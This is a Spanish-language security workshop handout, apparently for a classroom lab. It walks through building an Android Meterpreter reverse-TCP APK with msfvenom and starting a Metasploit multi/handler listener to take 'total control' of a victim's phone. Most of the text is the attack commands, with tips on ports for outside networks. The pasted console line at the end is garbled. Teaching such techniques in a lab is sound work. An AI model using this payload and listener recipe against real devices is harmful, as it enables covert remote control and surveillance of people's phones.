Taller Seguridad.

En la máquina  3-06-02 con IP : 10.133.1.106 en la carpeta imagenes no borrar queda la iso de android.

Luego de tener la imagen, deben crear una maquina virtual, recomendado en virtualbox con las siguentes caracteristicas.

Nombre Android
Tipo BSD
Versión FreeBSD 64bit
Memoria RAM 2048
Disco de 20GB

Deben instalar el kali linux en virtualbox también y dejan las tarjetas en adaptador puente para que ambas reciba ip por dhcp

luego, 
[bookmark: _GoBack] en Kali crear:

1. Abrimos nuestro sistema operativo de seguridad preferido, luego la aplicación "Metasploit" y escribimos el comando"msfvenom -p android/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx R > name.apk"
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El comando se divide en varias partes que son:
· msfvenom -> Es la aplicación donde desarrollamos el payload
· -p -> Estamos indicando que vamos a realizar un payload
· android/meterpreter/reverse_tcp -> Es el tipo de payload que necesitamos
· LHOST -> Es la IP que usará la aplicación para comunicarse con nosotros. Kali
· LPORT -> Es el puerto donde se conectará nuestra aplicación. Si la red es interna yo uso el puerto 8080 pero si es en una red exterior deberemos abrir el puerto que deseemos
· R > name.apk -> Es la ruta donde almacenaremos el payload y con que nombre. La ruta por defecto (cuando ponemos solo el nombre, es la carpeta personal o la de root).
2. Una vez hayamos introducido el payload en el móvil de nuestra víctima ponemos los siguientes comandos:
· msfconsole ->Iniciamos la aplicación de monitoreo
· use multi/handler
· set PAYLOAD android/meterpreter/reverse_tcp -> Indicamos cual payload queremos detectar
· set LHOST xxxx -> Indicamos la IP asignada al payload.
· set LPORT xxxx -> Indicamos el puerto asignado al payload
· exploit
Una vez llegados a este punto deberemos tener control total sobre el teléfono.
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msf > msfvenom -p android/meterpreter/reverse_tcp LHO5T=192.168.1.1 LPORT=8080 R> aplicacion.apk
*] exec: msfvenom -p android/meterpreter/reverse tcp LHOST=192.168.1.1 LPORT=8080 R> aplicacion.apk





